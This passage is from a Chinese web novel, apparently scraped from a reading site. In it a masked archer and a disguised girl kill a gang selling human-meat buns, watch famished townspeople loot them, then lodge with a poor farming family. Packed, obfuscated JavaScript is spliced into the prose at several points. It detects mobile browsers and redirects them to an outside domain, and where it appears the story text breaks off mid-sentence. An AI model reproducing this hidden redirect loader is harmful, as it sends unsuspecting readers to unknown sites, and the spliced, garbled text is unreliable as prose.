但是想起数日前,这人还说十不存一要救,活不下去也要救,只要他看见了,他就要救呢。 贺岁愉垂下眼睫,这么快就认清现实了,果然是年少轻狂,当不得真。 正当贺岁愉作如此想时,赵九重突然目光灼灼地看向她。 贺岁愉汗毛直立,警惕地看着他,“你做什么?” 赵九重笑得神秘,“临走前干票大的,你去不去?” 贺岁愉捏紧了拳头。 就知道他不安分,刚刚自己也是贱,竟然会有那种想法,别人的死活到底和她有什么关系? 她没好气道:“不去!” “你身上伤都没好,你还想做什么?”贺岁愉露出费解的表情,“你真不想要命了?” “包子铺报仇也不去?” 贺岁愉“唰——”地抬起头,“你说真的?” “千真万确。” 贺岁愉摩挲着冻得开裂的指头,好一会儿,才咬牙应了一声,“去!” 15. 报仇 当天蒙蒙亮时, 长相憨厚老实的包子铺老板打开铺子的门,食物的香气从小铺子里窜出来,裹挟在朦胧的蒸气中,弥漫在街头,令人食指大动。 丰腴高挑的老板娘一手端着蒸笼,一手掀开沾满油脂的布帘子,娉娉袅袅从帘栊后面走出来。 几辆要出城的马车停在了包子铺门口不远处,车里的主人派下人去买几个包子路上吃。 周围的角角落落里,零星蹲着几个乞丐,仿佛饿狼一般,黑漆漆的眼睛,目不转睛盯着蒸笼里的包子,若非身形魁梧的老板站在铺子门口,他们随时都会一拥而上。 包子铺前人来人往,众人迷醉在食物的诱人香气和热气腾腾中。 突然, 一支箭矢划破长空,箭头泛着凛冽的寒光,从人群的缝隙里穿过来,直直插入了老板的眉心。 风韵犹存的老板娘惊愕转头,只看见鲜血从老板的眉心处喷涌而出,流经他圆睁的双目。 方才还与她说话的老板,张着嘴一动不动,像一根木头桩子似的,直挺挺倒下了,砸在滚烫的蒸笼上,发出“砰——”的一声。 “啊——啊——”人群中顿时爆发出尖叫声。 百姓惊慌逃窜,场面混乱极了。 一道正气凛然、穿透力极强的高喊声穿过街道,传到周围百姓们的耳中—— “尔等人面兽心之辈,手上染鲜血无数,丧尽天良到以人肉剁馅儿做包子!” “此等泯灭人性、伤天害理之举,天地不容,今日,就让本少侠替天行道!” 众人惊愕之余,齐齐朝着声音来源看去。 一个黑布蒙面、看不清面容的青年骑在赤色大马上,从右侧青石板铺就的狭窄街道上疾奔而来。 青年拉弯弓如满月,箭矢的黑色尖端,三棱铁镞在日光下折射出冰冷的寒光,在众人还未完全反应过来时,便早已对准了包子铺的老板娘。 但是,有老板被一箭射穿眉心、身死当场的例子摆在前面,老板娘早有提防,一矮身躲在了蒸笼后面,箭矢穿过笼屉,从女人的颈间划过,留下一条血痕。 老板娘在这支箭矢下,险险躲过一劫。 她刚松了一口气,正要往别处躲藏,赵九重以迅雷不及掩耳之势再次出手,一支利箭穿透笼屉,精准地射中了女人的脑袋。 老板娘瞪着眼睛,倒在地上,鲜血从她的脑后汩汩流出,汇成血红的一大滩,刺目可怖。 包子铺里的另一个同伙,就是那晚和老板一起追杀贺岁愉的男人听见外面人群的尖叫声,率先从铺子里跑出来,正好看见老板娘被射杀的场面。 他们几人在沧州城为非作歹,杀人无数,尤其是在世道乱了以后,更是猖狂,头一次遇到赵九重这种不要命杀上门来的。 “啊呀——”男人当即发出一声怒吼,从门口抄起大刀,飞身朝赵九重砍过来。 “嘣——”赵九重朝男人射去的箭矢被男人的大刀格挡开。 赵九重一击落了空,眼看男人越老越近,他从背后抄起两根造型奇异的双棍,一长一短两根棍子,由黑色的铁锁链系在一起。 赵九重握住长棍的一端,以手臂的力量带动短棍凌空横扫出去,男人被赵九重猝不及防的出招击中腹部,大刀还未至赵九重身前,便被赵九重打了下去。 男人跌落在地,“砰——”一声砸得尘土四起。 跟着男人一起冲出来的,还有包子铺里剩下的人,尽数都是些身材壮硕的汉子。 在如今艰难的情况下,也只有这家特殊的包子铺,才能养得起这么多壮汉了。 几个面相凶残的大汉相互对视一眼,提着亮锃锃的大刀,一起朝赵九重冲了过来。 就在此时,只听得“唰唰唰——”几声,数个圆球一样的东西,从临近小茶楼的二楼露台上,直直朝他们飞过来。 虽然不知道这是何物,但几个汉子本能地慌忙躲闪,但为时已晚。 因这些纸包来得猝不及防,又是从另一个方向飞过来的,不免还是有人被纸包砸中了。 纸包落地或是砸中人的瞬间,“哗——”一声外壳破开,灰色的尘土齐齐从纸包里“扑簌簌——”掉下来。 顿时,烟尘四起。 满满一个圆球里,包着的全都是石灰粉,粉尘在空气里弥漫,强势地呛进人的口鼻,钻进人的眼睛里。 几个大汉被石灰粉迷了眼睛,无异于被绊住了手脚,看不清楚,恐伤自己人,于是不敢轻易出招。 赵九重抓住这个绝好的机会,立刻出手,从箭囊从抽出三支箭矢,三箭齐发后,迅速又是三箭,三两下便解决了被石灰粉迷眼的几个壮汉。 刚刚被打趴在地上的男人见状想逃跑,赵九重岂会放过他?男人刚爬起来要跑,青年便拉弓搭弦,一箭射从后背射穿他的心脏,那人登时便口吐鲜血倒了地。 贺岁愉躲在小茶馆的二楼上,在裤腿上擦了擦手上残余的石灰粉,刚刚扔那些石灰粉把她累得不轻,现下还在小口小口地喘气平息。 她提心吊胆地躲在柱子后面,透过栏杆的缝隙观察赵九重那边的战况,见赵九重解决了所有的人,才算是放下了心。 见到害人无数的包子铺就这样被一锅端了,贺岁愉痛快极了。 当初追杀她的恶人都死在了赵九重的箭下,她自然高兴,几乎要忍不住站起来倚在栏杆上,放肆地拍手称快了。 端了一窝恶人,赵九重骑着马朝小茶楼奔过来。 快至小茶楼下时,他大喊一声:“跳下来!” 当清晨的第一缕阳光透过云层的缝隙,照在贺岁愉的清秀的脸上时,她低头,看见了伸出结实双手的青年。 小茶楼低矮,站在二楼的她,和骑在马上的他,并没有隔着太夸张的高度。 她给自己鼓了鼓气,几乎不曾犹豫,利索地翻过栏杆,在这一刻,全然相信地朝他跳了下去。 衣角被风掀起,粗布衣衫翻飞,她像一只灰色的蝴蝶落在了他宽厚的怀里。 在一片混乱与嘈杂中,赵九重接住贺岁愉,骑着马朝城门口飞奔而去,带起一阵尘土飞扬。 *** 在他们身后,躲在暗处围观的百姓们亲眼看见包子铺众人都死了,可是蒸笼里的包子仍然热气腾腾。 白白胖胖的肉包子渗出黄色的油脂,从蒸屉边缘滴落下来,它们即便沾了血和石灰粉尘,但是仍然散发着诱人的香味,直往人的鼻子里钻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977656|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>隐藏在暗处的某些东西蠢蠢欲动。 在古怪而紧张的气氛中,一个老乞丐率先走出来,试探性地朝蒸笼里摆放得整整齐齐的肉包子走过去。 当第一个人走出来的那一刻,空气中仿佛有一根隐形的弦被崩断,所有无形的秩序都被打破。 围观的人们黑漆漆的眸子里闪过一道隐蔽的暗光。 他们一拥而上,踩过那些倒在地上双目圆睁、鲜血直流的尸体,疯狂地朝香气扑鼻的肉包子扑过去。 这一刻,他们都不约而同地选择忘记了青年刚刚说的话,忘记了肉包子里包的是什么肉。 也许,这其中的不少人很早前就猜出了真相,只是出于某种原因,蒙住眼睛耳朵蒙住心,装作不知。 如今沧州城的百姓吃树叶野草,扒树皮树根,却仍然连果腹都难,绝大多数人除了吃下去的蚂蚱、蝈蝈,大半年没有见过荤腥了。 开在城南的小小一间包子铺,却日日都有新鲜的肉包子,还养了一群结实壮硕的伙计,但凡还有力气思考的人,都能猜得出来这肉,恐怕并不来源于四脚行走的豚彘。 但是只要能填饱肚子,剩下的其他,在绝大多数人这里,都可以暂时抛开。人伦礼法、仁义道德,在活下去面前,在求生的本能面前,都会化作齑粉,烟消云散。 贺岁愉坐在马上,远远听到哄抢声,惊愕地回过头来,正好看见人们如野兽一般争抢食物的这一幕。 她原本因为杀了包子铺诸多恶人而痛快和喜悦的心情,忽然变得沉重。 她似乎已经通过身后的一幕,隐隐预见了这座城不久的将来。 她回过头来,不禁捏紧了袖中的拳头。 “你杀了他们也没用。”她喉间隐约哽了一下,不知道是因为愤怒,还是因为悲伤,“他们不吃人,人也要吃人。” 赵九重大概也知道身后发生了什么,听到贺岁愉的话,身体明显僵了一下。 沉默良久, 青年喑哑的声音隔着蒙面的黑布从身后传来—— “起码今后不会有人再像牲畜一样,死在他们的屠刀之下,被做成包子卖给自己的同类。” 贺岁愉讽笑一声,“有意义么?” 赵九重猛地一挥鞭,麒麟马登时狂奔起来,踩着石板发出急促的马蹄声,像是要把什么可怕的东西远远甩在身后一样。 贺岁愉被颠簸得不得不双手抓紧了缰绳。 赵九重咳嗽一声,嗓子清亮了一些,“你昨日说得对,我如今确实救不了千千万万的人,但我能多做一点就多做一点,闯荡江湖,行侠仗义,本就如是。” 贺岁愉红着眼睛转头盯着他,“你难道就不怀疑你所做的行侠仗义是否真的有意义吗?你行的侠,你行的义,到底救的是人还是披着人皮的野兽?” “自然是人!”赵九重沉声反驳,青年脸色沉肃,声音不自觉地拔高了许多,“自大唐覆灭迄今卌(xì)有一载,这世道乱了四十余年,战火纷飞,哀鸿遍野,连活下去都艰难万分,你指望黎庶黔首该有多高的道德标准?” “当乱世结束,重构礼法,人,自然会像人。”他目视远方,无比坚定地说。 贺岁愉精神一凛,愣愣地看着他。 16. 老伯 贺岁愉和赵九重出了城以后,骑着马一直赶路直到中午。 赵九重放麒麟马去附近吃草,他们也坐在路边的树荫下休息一会儿。 忽然,沙石跳跃,地面隐隐约约地震动起来。 赵九重耳力绝佳,率先意识到不对劲,“应当是有一大群骑马的人朝这边过来了,先躲起来。” 说着,赵九重往山坡上跑去。 贺岁愉连忙跟在他身后,朝路边山坡上的深处树丛里钻去。 他们二人刚在树丛里藏好,便看见远处一大群人骑着马出现,一片黄土飞扬中,他们渐渐地近了。 贺岁愉和赵九重安安静静地躲在树丛里,不敢发出一丁点儿声响,生怕引来这伙人的注意。 他们的视线无声地落在下面那群人身上。 这群骑马的人大部分身形壮硕魁梧,一脸横肉,看起来就不像是善茬儿,尤其他们各个还都带着武器,好几个人刀尖还在滴血,马蹄上也沾了红色的血迹。 为首几人的马上,除了挂着兵器,还挂了不少璀璨夺目的珠宝。 这群人的中间,有人赶着一辆大马车,马车里堆满了箱子,多得几乎放不下,有几个箱子半截儿都露在外面。 最上面两个箱子装得太满,合不上盖子。贺岁愉躲在山坡上远远看着,大概是些绸缎布匹一类的东西。 她的目光被最里面的那个箱子吸引住了—— 那箱子没有关严实,金灿灿的金银珠宝露了出来,珠光宝气的宝石串儿、珍珠长链一半在箱子里,一半吊在外面,在阳光的照耀下十分晃眼。 前面的一个汉子回头看了一眼队伍中间的马车,高兴得眉飞色舞,骑着马走到最前面的男人身边,大声说:“大哥,劫了今天这一批,够寨子里的兄弟们吃上整整一年了!” 最前面的男人哈哈大笑着说:“今天弟兄们都辛苦了,回去摆上好酒好肉,咱们喝个通宵!” 贺岁愉顿悟,这群人是附近山寨的土匪。 她小心翼翼地蹲在树丛里,因为精神紧张而浑身紧绷,提心吊胆地看着那群人经过,直到他们彻底走远了以后,才放松了身体。 贺岁愉忽然想起来,姓赵的这回竟然也一直安安分分地蹲在树丛里,没有强出头,这可真是难得。 她坐在堆积的枯树叶上,饶有兴味地转头看他,“哟,奇了怪了,赵少侠这回怎么不往上冲了?” 赵九重:“……” 赵九重从树丛里站起来,拍了拍身上的叶子,没好气地说:“我是有些功夫在身,但我不是傻子。” 贺岁愉翻了个白眼,忍不住嘟囔了一句,“你最好不是。” 她拍了拍身上的树叶,跟着站起来,“看来,多少还有点儿自知之明,没有冲出去送命。” 这姓赵的武功虽强,但很爱多管闲事,贺岁愉实在是怕他惩恶扬善、行侠仗义时累及无辜的她。 *** 那群山匪走远以后,赵九重找回跑远了的麒麟马,二人接着赶路。 周围荒僻无人,处处是连绵不绝的青山。入目可见,全都是或高耸挺拔的乔木或低矮蓬勃的灌木,以及无处不在的野草和沙石泥土。 偶尔有松鼠、野兔一类的小动物从路边的山林间一溜烟蹿出来,然后又一溜烟蹿进树林间消失不见。 耳中听到的,除了风吹动树叶的声音,便只有各种各样的鸟叫声。 若不是和赵九重一起行路,贺岁愉一个人独自走在这样的杳无人烟的荒郊野外,一定会害怕。 他们路上还撞见过一次皮毛斑斓的大虫,若非当时赵九重带着她溜得快,加上那只老虎忙着捕食,与一头垂死挣扎的黑色野猪在树丛间撕扯,没顾得上他们二人。 否则,赵九重少不得还要与这只大虫激战一番。 撞见那只凶猛的大虫以后,贺岁愉便深刻意识到,这野外不能久待,他们夜里还是要找一处有人住的地方过夜才行。 二人虎口逃生,又行了一段路以后,终于赶在天黑之前,找到了一处歇脚的地方,是一处隐蔽在山里的小村庄。 刚入村,他们正巧遇到一个扛着锄头从地里回来的老伯。 老伯身材瘦小,像老树一样枯瘦干瘪,身上穿的粗布短褐上面布满了大大小小的补丁,大补丁上面叠着小补丁,层层叠叠,几乎看不出来衣服的原本模样,沾满黄泥的裤腿半挽着,赤着脚走在野草丛生的狭窄黄泥路上。 他头上的头发白了大半,脸上沟壑纵横,胡子拉碴,看起来便饱经风霜。 赵九重下了马,上前与老伯交涉一番。 老伯日子过得辛苦,却有副好心肠,很快便欣然同意了收留他们二人一晚。 贺岁愉和赵九重牵着麒麟马,跟着老伯回了家。 老伯家就住在村头不远处,那两间耸立在半山腰的破茅草屋就是了。 老伯在门口放下锄头,先进了屋。 他赶忙用沾了泥浆的袖子擦干净两个落了灰的木凳子,又转过身来,招呼贺岁愉和赵九重赶紧进来坐下,还连忙叫里屋的老婆子出来给他们倒水。 茅屋的门框低矮,赵九重生得高大,得弯腰低头才能顺利地从门口通过,从门口经过时,还被垂下来的干稻草扫了一脑袋灰。 贺岁愉跟在赵九重身后,看了一眼摇摇欲坠的破木门。 有那么一瞬间,她很怀疑这道门、还有这间屋子真的能抵御山里的野兽吗?住在这里,晚上真的能安心睡觉么? 老伯话音刚落,一个同样穿着补丁衣服的瘸腿老妪,从隔开外间与里屋的破布帘子后面佝偻着身子、一瘸一拐地走出来。 老妪步履蹒跚地去了外面。 很快,她端进来两个装满了清水的粗劣瓷杯。 “啊——啊——”老婆婆朝赵九重递出一杯水,嘴巴张张合合,却只发出了不成音节的怪声。 贺岁愉心中不免惊讶。 赵九重正在拍刚刚进屋时落在头上的碎小干稻草和灰尘,听到声音转过头来,见是老妇人递水。 他忙不迭伸手,接过了老婆婆颤颤巍巍递过来的水。 老伯见贺岁愉露出惊讶表情,解释说:“老婆子年轻时发烧烧哑了嗓子,从此便说不出来话,只能咿呀啊呀的,两位别见怪。” 贺岁愉见老婆婆颤颤巍巍伸手,又要给她递水,麻利地接过来。 她刚端着粗瓷杯坐下,便听到里屋传来了一阵急促的咳嗽声,声音细细弱弱的,像是猫叫一样,很明显能听出来,是个年轻女子的咳嗽声。 老妪听到咳嗽声,也顾不得贺岁愉和赵九重了,满脸着急和担忧,一边口中“啊——啊——”地叫着,一边一瘸一拐地走去了里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贺岁愉还以为是他发现了什么,吞了下口水,都顾不上生气他又喊自己小贼,强装镇定,外强中干道:“怎么了?” 赵九重接着刚刚的话,眼神清澈地说:“我现在还不知道,你到底叫什么呢?” 贺岁愉:“……” 虚惊一场。 “贺岁愉。”她囫囵道。 姓名而已,她原本也没想瞒着他,只是他一直没问而已。 贺岁愉说得快,赵九重没听太清,“什么?哪几个字?” 贺岁愉难得耐下性子,解释了一遍:“祝贺的贺,岁岁常欢愉的岁愉。” 赵九重蹙眉,“你一个大老爷们,怎么起个姑娘家家的名字?” 贺岁愉:“……” 有时候庆幸自己女扮男装的技术真是一绝;有时候又恨,有的人真是眼瞎得可以啊,比如面前这位。 她信口胡诌,说得跟真的似的,“我爹娘拿我当姑娘疼,可不给我取个姑娘的名儿嘛!” “真的?”赵九重语气怀疑,不太相信的样子,“那你怎么流落街头,变成了小乞丐?” “事情是这样的——” 贺岁愉清了清嗓子,正色道:“我是流落江湖的富家公子,我失忆了,只模糊记得,我有一对十分疼爱我的父母,赵少侠,你能不能帮我找到家财万贯又疼爱我的父母双亲?” 贺岁愉眨着眼睛,一脸真诚地看着他。 赵九重:“……” 他挠挠头,一脸费解道:“还没睡呢,你就开始做梦了?” 贺岁愉无语:“……” 17. 床塌 夜幕降临, 白日里苍翠绿树掩映下的村庄彻底被黑夜吞噬,一切都藏匿在黑暗中,唯一的光明是,天上皎洁的弯月和璀璨的星星。 入了夜温度骤降,夜里山中天寒地冻。 二人躺在硬邦邦的木板上,铺了干稻草也不过是杯水车薪,身上只盖着一床芦花填充的薄被。 贺岁愉躺在靠墙的一侧,也就是里面,赵九重躺在外侧。 床板狭窄,被赵九重一个大男人挤在床里面,一开始,她还十分不自在,心里总觉得怪怪的,下意识肩膀贴着粗糙的土墙,刻意离他远了些。 后来随着室外温度的降低,寒气渗过土墙传到里面来,贺岁愉根本顾不上这些了,她冻得缩成一团,浑身控制不住地哆哆嗦嗦,颤抖就没停过。 “这、这和住外面也……也没有什么区别……简、简直……一样的冷……冷……冷……” 她冻得牙齿发颤,说话都结结巴巴的。 贺岁愉不敢再靠在冰冷的土墙上,往赵九重那边缩了一点,不断地摩擦着胳膊产生热量取暖。 赵九重平躺在床上,也觉得冷,但是他年轻力壮,皮糙肉厚的,比贺岁愉抗冻一些。 他侧头看了贺岁愉一眼,见她在被子下面蜷缩成一团,布满了补丁的被子鼓起一个圆鼓鼓的包。她一直在被子下发抖,连带着被子都跟着抖啊抖,看起来像是要冻死了。 赵九重费解:“有那么冷吗?” “对、对啊……冷、冷……冷死了……”她牙齿打着颤,磕磕绊绊地回答。 赵九重结实有力的手臂从薄被下伸出来,忽然朝贺岁愉身侧而去,大掌抓住了贺岁愉靠近土墙那一侧的被子。 贺岁愉被他突如其来的靠近吓了一跳,尤其是被他粗壮结实的手臂环绕时,不禁面色大变,又惊又怒:“你、你你做什么……” 她话还没说完,赵九重豪气地把她连人带被子搂了过去。 贺岁愉瞪大了眼睛,还没反应过来,连人带被子就一起躺在了赵九重身边,和他肩并着肩,亲密无缝。 她甚至能感觉到,他身上的灼热温度通过肩膀的接触传递了过来。 “靠近点儿就不冷了,你贴着墙睡当然冷了。”赵九重理所应当地说道,语气中除了对好兄弟的关怀,还带着一丝板板正正教育她的意味。 贺岁愉一脸匪夷所思地看着他。 赵九重正疑惑,觉得贺岁愉这个古怪的表情看起来有点奇怪。 她怎么这副表情? 他还没来得及把自己的疑惑问出口。 贺岁愉牟足了劲儿,狠狠一脚把他踹了出去,咬牙切齿骂道:“你有病啊你!” 赵九重“砰——”一声摔在了地上,他一屁股坐在冰冷的泥巴地面上,摔蒙了,一脸懵逼地看着坐在床上的贺岁愉。 二人一个坐在床上,一个坐在地上,一个无端愤怒,一个一脸懵逼。 赵九重好一会儿才反应过来,怒气冲冲从地上爬起来,“你发什么疯?” 贺岁愉后知后觉自己的反应过于大了一些,但她绝不会承认错误,谁让他突然抱她的? 她梗着脖子,语气硬邦邦地说:“我不喜欢别人碰我。” 听见这个生硬到有些离谱的理由,赵九重气笑了,“你一个大男人,毛病怎么这么多?那你之前逃命时也没少抓着我啊?” “那不一样!”贺岁愉狡辩,“那是逃命,而且是我碰别人!” “算了,我大人不记小人过,不跟你计较这次。”赵九重没好气地瞪她一眼,揉了揉摔疼的屁股,拍了拍身上的灰尘和泥巴,重新坐到床板上。 他擦了擦脚底板的灰,把双腿放到床上,准备重新躺下。 突然,“咔嚓——”一声脆响,一块木板断了。 床塌了。 赵九重猝不及防突然下坠:“?!” 贺岁愉坐在一边目睹全程:“!” 她短暂地惊讶过后,下意识“扑哧——”笑出了声,她一边笑,还一边忍不住轻轻捶打身侧的土墙。 再次一屁股坐在地上的赵九重:“……” “笑!有什么好笑的?”赵九重见贺岁愉幸灾乐祸至此,脸黑得像锅底。 贺岁愉忍住了笑,抬起头,正色道:“嗯,没什么好笑的,就是——” “就是你看起来有点滑稽罢了。”说罢,她又“哈哈哈——”地仰头大笑,比方才笑得更放肆了。 赵九重彻底黑了脸:“……” “还不都怪你,”赵九重幽幽道,语气颇为怨念,“要是没有你踹的那一脚,这床必然不会塌。” 贺岁愉虽然心里知道,床板塌了跟她那重重一脚脱不了干系,但她不会乖乖背下这口锅。 她耸了耸肩膀,“也许是你太重了也未可知。” 赵九重被她气得不轻。 他从地上站起来,站在床边逼视着她,“往里边睡点儿。” 贺岁愉:“?” “做什么?” “给我腾个位置啊。” “你想得美你!” “一共就这么点儿宽,我上哪儿给你腾位置?”贺岁愉满脸不可思议地看着他,“再往里睡,我不得被挤死!而且你知道靠墙有多冷嘛!” 赵九重听了贺岁愉的话,当即提出另一个方案,语气自然而然:“那我靠墙睡里面呗!” 贺岁愉寸步不让,倔强地说:“我不!” 赵九重站在床边盯着她。 那眼神严肃到仿佛非要她答应才肯罢休。 贺岁愉坐在床上,挺直了肩颈,微微抬头,也毫不心虚、毫不退却地看回去。 就这样对峙了好一会儿。 贺岁愉裹着被子,坐在铺着稻草的床上还好一点儿,赵九重站在冰冷的地上,背后寒气侵袭不说,双脚早被冻僵了。 终于,赵九重让步了。 “算了,躺地上就躺地上吧,”赵九重躺在塌了的床板上,将一只胳膊垫在脑后,一副摆烂的姿态,安慰自己,“起码地上宽敞。” 贺岁愉哼了一声。 他识趣,最好不过。 虽然不必再睡一张床,但是被子只有一床,两人还是得共享这一张打满了补丁的芦花被。 被子本来就不大,现在,一半盖在床上的贺岁愉身上,一半要垂下来,盖在床下的赵九重身上,这床被子便显得格外紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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贺岁愉穿好鞋子,从茅屋里出来,一抬头,正好看见隔壁的茅屋门口,一个穿着补丁衣服的瘦弱姑娘扶着墙走出来。 姑娘大概是常干农活,所以皮肤偏黄,又很瘦,看起来像是地里的胡麻杆,刮一阵风都能吹倒似的,尤其是她弯着腰咳嗽时,像是麻杆要折断了。 看样子,这姑娘果然病得很严重,也不知道是得了什么病,一直这么咳,如果是痨病的话,会传染的。 她还是离远点儿得好。 贺岁愉脑子里想了不少东西,所以视线便一直落在那姑娘身上。 突然,一只手从身侧蒙住了她的眼睛,对方压低声呵斥道:“非礼勿视,你一个大男人,怎么一直盯着人家姑娘看。” 是熟悉得不能再熟悉的声音。 贺岁愉:“……” 贺岁愉在他的手掌下,翻了个大大的白眼。 贺岁愉把他的手扯下来甩开,“管太多了,赵少侠。” 她话音刚落,赵九重没来得及再说什么,姑娘已经注意到他们二人站在门口。 姑娘冲他们微微颔首,脸色蜡黄、满脸病容的脸上,露出一个苍白的笑容,轻声细语地同她打招呼:“客人醒了啊。” 赵九重笑着感谢昨晚的收留,贺岁愉也只好大大方方地走过去。 18. 好人 老伯起得比他们二人早得多,贺岁愉从茅屋出来没一会儿,老伯就扛着锄头,踏着清晨的露珠从地里回来了。 老伯看见姑娘扶着土墙站在门外,脸色一变,扔下锄头连忙跑过来扶女儿,“杏花,你咋出来了!” 杏花姑娘苍白地笑了下,声音有气无力地解释说:“爹,屋子里太闷了,我出来透透气,咳咳咳……” 一句话刚说完,杏花便又咳了起来,咳得撕心裂肺的,她一只手扶着墙,咳得上半身都跟着摇摇晃晃,像是要把肺都咳出来一样。 老伯看得着急,一边满脸关切地轻轻帮杏花拍背,一边搀扶着杏花说:“儿啊,外面风大,还是进去吧。” 老伯把杏花扶到茅屋里,出来以后,见贺岁愉和赵九重二人还站在门口,歉疚道:“小女病了小半年了,身体一日比一日差,老汉我一时着急,对二位贵客多有疏忽,二位莫要见怪啊!” “老人家实在太过客气了,”赵九重说罢,又问,“令嫒得了什么病?” 老伯摇了摇头,无奈地说:“不知。” 赵九重惊讶:“不知?没请郎中吗?” 老伯解释说:“附近没有郎中,要请郎中诊病,得出了山去几十里外的镇子上,听说那儿有一家郎中坐堂的医馆,出山的路又远又难行,小女的身体恐怕走不了那么远,而且即便出了山去镇上的医馆……” 老人家耷拉着脑袋,叹了口气,“我们家……也请不起郎中。” 赵九重沉默下来。 贺岁愉静静地听着,也垂下了眼睫。 乱世里,各有各的苦法,大家不过都是为活着而挣扎的蝼蚁。 “是老汉我没用啊,大儿子七年前被拖去打仗,死在了战场上,连尸体都见不到,如今就剩这么个小女儿,本来定了亲,去年冬就该成婚的,结果生了病,男方家见小女久病不好,就退了亲,老头子我没用,兜里比脸还干净,拿不出钱给女儿治病,如今就靠这么一日日拖着……”老人家絮絮叨叨地说着。 说着说着,一个头发斑白的老人竟当场抹起眼泪来。 赵九重这次出来带的钱本来就不多,离家近一年,早就花得差不多了,即便想帮老伯一家,也有些有心无力。 他摸了摸腰间干瘪的荷包,背在身后的手握成拳头,又慢慢松开了。 最终,还是没开口说什么。 贺岁愉就站在他身后,赵九重背后的小动作当然瞒不过她。 她看着赵九重手松开了,没开口逞能说什么胡话,高高提起的心才缓缓放下去。 *** 天色已经大亮了,即便山间云遮雾绕,雾气浓厚,也不影响他们赶路。 赵九重与老伯辞别,但老伯非要留他们二人用过早饭再走。 老伯一家生活如此困窘,愿意发善心收留他们二人一夜就已是难得。他们两个大男人,怎么好在人家家里多留,又吃人家一顿白饭。 赵九重自然百般推辞。 此时,老婆婆步履蹒跚地端着一碗羹汤从灶屋出来,听说赵九重和贺岁愉二人要走。 她立刻放下碗,连忙也一瘸一拐地走过来,一边“啊——啊——”地叫着,一边不停地打手势挽留他们。 两位好心的老人家热情难却,赵九重和贺岁愉只好厚着脸皮留下来了。 老伯招呼赵九重和贺岁愉二人进屋坐下,老婆婆则是转身去灶屋里端菜。 灰扑扑的木桌子瘸了一条腿,用石块儿垫着维持平衡,三人便围着方桌各坐一方。 桌上摆着老婆婆刚刚端出来的那一大碗热气腾腾的荠菜粟米羹。 贺岁愉瞄了一眼。 羹汤被荠菜染成了绿色,清得几乎可以见底,说是粟米羹,但一大半都是水,其次是切碎了的密密麻麻在碗里挤满的绿色荠菜,隔着荠菜的缝隙,底部依稀可以见到一小撮黄色的粟米。 不如叫荠菜汤更合适。贺岁愉心道。 不一会儿,老妪又端了一陶碗凉拌荠菜和一大碗山笋蘑菇汤出来。 贺岁愉上一次吃东西,还是昨天中午啃的那半块干得能噎死人的饼子,过了这么长时间,早就饿了,闻到食物扑鼻而来的香气,控制不住地咽了咽口水。 老伯一边拿木勺子,端着陶碗给他们二人舀大碗里的荠菜粟米羹,一边客气地招待他们说:“山里没什么好东西,只有这些粗劣食物,两位贵客不要嫌弃。” 老人家古道热肠,给赵九重和贺岁愉舀的都是下面的粟米和荠菜,从清可见底的羹汤里,捞了两碗干的递到二人面前。 赵九重心中颇为惶恐地接过来。 贺岁愉也难得地有点不自在。 老伯给赵九重和贺岁愉盛了两碗羹以后,老妪拿着开了裂的木勺子,颤颤巍巍舀了半碗羹汤,把碗底所剩无几的粟米和为数不多的荠菜又捞了大半去。 老妪端着碗,一瘸一拐地进了里屋。 是给卧病在床的女儿杏花端去的。 两个老人家日子过得艰苦,倒是真心疼爱这个唯一的女儿。 贺岁愉看着只剩下一碗清汤的荠菜粟米羹,又看了一眼自己碗里快溢出来的荠菜和粟米。一时间,还真有点儿不好抬手动筷子。 给他们这么一分,两个老人家就只能喝沾着荠菜和粟米气味的清汤寡水了。 赵九重还没开始动筷子,见状要把碗里的荠菜和粟米倒回去,却被老伯制止了。 非但如此,老伯还给他们二人夹了好大几块山笋,“二位小哥待会儿还要赶路,多吃点儿,千万不要拘束。家贫,没有什么调和之料,二位且当做尝尝食材原本的味道。” 赵九重看着面前越来越满的碗,逐渐涨红了脸。 看见老伯待他们二人如此实诚和热情,他想起自己方才听到老伯女儿重病无钱医治时做出的决定,不免觉得羞愧。 世上好人难得,尤其是自己尚且身处困境,却愿意以诚心待他人的好人。 就如老伯老两口这般。 想到这里,赵九重当即一把将荷包从腰间摘下来,倒过来抖了抖,从里面倒出来两块碎银到掌心中。 他把两块碎银塞进了老伯的手里。 老伯惊慌无比,连忙要把钱塞回去,“赵公子,你、你这是做什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977659|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >同时惊慌的还有坐在一边的贺岁愉。 赵九重动作太快,太过突然,她根本来不及阻止。 贺岁愉瞪大了眼睛看着赵九重。 不是,他把身上的钱都给出去,他从明天开始,不活了吗? 她可身无分文,一穷二白,也指望着靠他身上的这三瓜两枣活呢! 贺岁愉想说什么,看着头发花白、泪洒当场的老人家,又不好直接当面开口。于是,连忙把赵九重扯去了一边。 她死死地抓着赵九重的袖子,目光紧紧地盯着他,咬牙切齿地问:“你不是说,你不是傻子吗?” 